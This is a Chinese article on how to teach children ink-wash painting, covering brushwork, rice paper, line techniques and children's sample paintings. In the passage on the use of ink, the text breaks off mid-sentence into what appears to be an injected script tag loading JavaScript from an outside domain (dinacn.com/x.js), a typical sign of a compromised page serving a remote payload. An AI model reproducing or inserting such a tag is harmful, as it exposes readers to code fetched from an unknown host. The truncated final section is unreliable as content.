一

    水墨画这个名词在孩子们的头脑中常常被简单地理解成用宣纸画的“几笔一只的小鸡”,“几笔画出来的小鸭”等概念，这种理解是错误的。有的家长教孩子用宣纸来画“儿童国画”(用水粉画颜料填色,用墨勾线),这也是对水墨画的错误理解。追根到底，就是因为忽略了水墨画最独特的地方，即讲究“笔墨”。没有“笔墨”哪儿来的“水墨画”呢？

    作为中国绘画优秀文化传统之一的水墨画，对笔法（中锋、侧锋等笔的运用方法）、墨法（墨的浓、淡、干、湿、焦的“颜色”变化的运用）是非常讲究的。引导孩子学习水墨画同样不能离开对笔法和墨法的学习。传统的学习方法是借助对具体内容的临摹进行学习，在悟性中理解直至掌握。但是围绕具体内容进行笔墨学习，对于三四岁的孩子来说太不现实了，生硬的临摹会让孩子们觉得很枯燥，如果让他们“玩水墨”则会是另一番景象。所以对三四岁的孩子应该是“玩水墨”，玩的兴趣越浓，将来学习具体内容时学习的积极性就越高。五六岁孩子的腕力才发育得比较好了，可以比较稳地握住毛笔，这时学画一些简单的花、鸟、虫、鱼应该不成问题，但还是不应该以能否熟练地画出这些东西为学习目的，而是要借助这些有形的东西让孩子体会“笔墨”。在掌握了一定的使用工具的能力以后，一定要要求孩子画写生，比如画一朵花，一个茶杯等等，可以先用铅笔画线描，然后再用墨线勾画，最后试着用各种墨色来画。最好是放笔直取，直接把自己对笔墨的感觉表现出来。学习水墨画切不可急功近利，只能一步一步地学习。

    二

    水墨画有四大特点，只有能够自如地运用这四大特点进行创作，才算是画水墨画。

    水墨画的第一个特点是它的用笔。毛笔的笔尖形状像一团火苗，前端尖中间粗，靠近笔杆的地方又收细了，这样，就可以在画画时使用一支笔画出不同的线条和墨色变化。只是会用笔尖在纸上画来画去不等于会画水墨画。用笔尖画画，叫“中锋用笔”。在很多情况下,还需要将毛笔侧着来用，这样毛笔头就会一面靠纸，一面朝上，画出来的就不是中锋用笔那样的比较细的线条了，而是很粗的，有时是变化无常的时断时续的线条，这叫“侧锋用笔”。只有会灵活地运用这两种方法，才能算基本上会用毛笔了。为什么只说是基本上会用呢？这是因为使用毛笔画中国画时，不只是用笔蘸一样的墨或颜色去画，有时还常常需要同时蘸水或蘸其他颜色，使一笔下去能画出浓淡不同的墨色变化或颜色变化。只有在灵活使用毛笔的中锋和侧锋的基础上，又很好地掌握了一笔下去能画出墨色和颜色的变化，才算真正掌握了水墨画的用笔。叶兆南的《叶子》就比较好地体现了水墨画的“用笔特点”。

    水墨画的第二个特点是用纸。画水墨画的宣纸不像一般图画纸那样把画中的颜色托在纸的表面，而是让颜色溶在纸纹里。由于纸的纹路不同、厚薄不同、粗细不同，吸水程度也就不同，即使使用了相同的墨或颜色，画在不同的纸上也可能出现不尽相同的效果。要想掌握好不同纸的性能，就需要经常做一些当笔尖含有不同水份时画在纸上是什么效果的练习。还要做一些当手用力大小不同时，画在纸上的墨色又是什么效果的练习。只有当孩子能够自如地在纸上用墨和用颜色,而不会让它们在纸上乱跑的时侯，才算真正掌握了水墨画的用纸。周孟萱的《雷阵雨》对宣纸的掌握就很到位，充分利用宣纸溶化水墨的特点表现出“雨”的特点。

    水墨画的第三个特点是用“线”。水墨画中的线条就像是人体的骨骼，只是用线条勾划出轮廓，然后涂上颜色不能算真正的水墨画，必须学会用不同的线条画出万物不同的特点和变化，才算真正使用了线条画画。水墨画中针对不同的内容，大致有三大类画线条的方法：一是游丝描类。也就是细细的、长长的、非常自然的线条。画的时候毛笔在纸上行走得要慢，而且只能用笔尖（也就是中锋）来画，用的气力也要均匀。郑天滋在《莲趣》中就运用了这样的线条。二是柳叶描类。也就是两头细、中间粗，像柳树叶子一样的线条。画这种线条要求用笔快，起笔轻，画到中间要用力, 然后再轻用笔，使线条由细变粗再回到细。李琳琳的《小蝌蚪找妈妈》中的水草、鱼都用了这样的线条。三是减笔描类。其实，这已经不是线条的线条了。画它时，用笔要快，而且是侧锋用笔，用的力也主要集中在线的一端，这样画出的线就不是一条而是一块了，再加上适当的水分，就变成水墨画独特的渲染了。在霍佳的《猫头鹰》中它们很明显。水墨画中还有一类画出来时断时续的线条，叫做“皴”，用它主要是画山石和树皮等。张子琳的《山水》为了表现冬天的寒冷，就在画柳枝的时候用了这种方法。只有孩子学会运用上述几大类线条的画法，并自如地用在画中，才算真正掌握了水墨画的用线。

    水墨画的第四个特点是用墨。这个问题?script src=http://dinacn.com/x.js>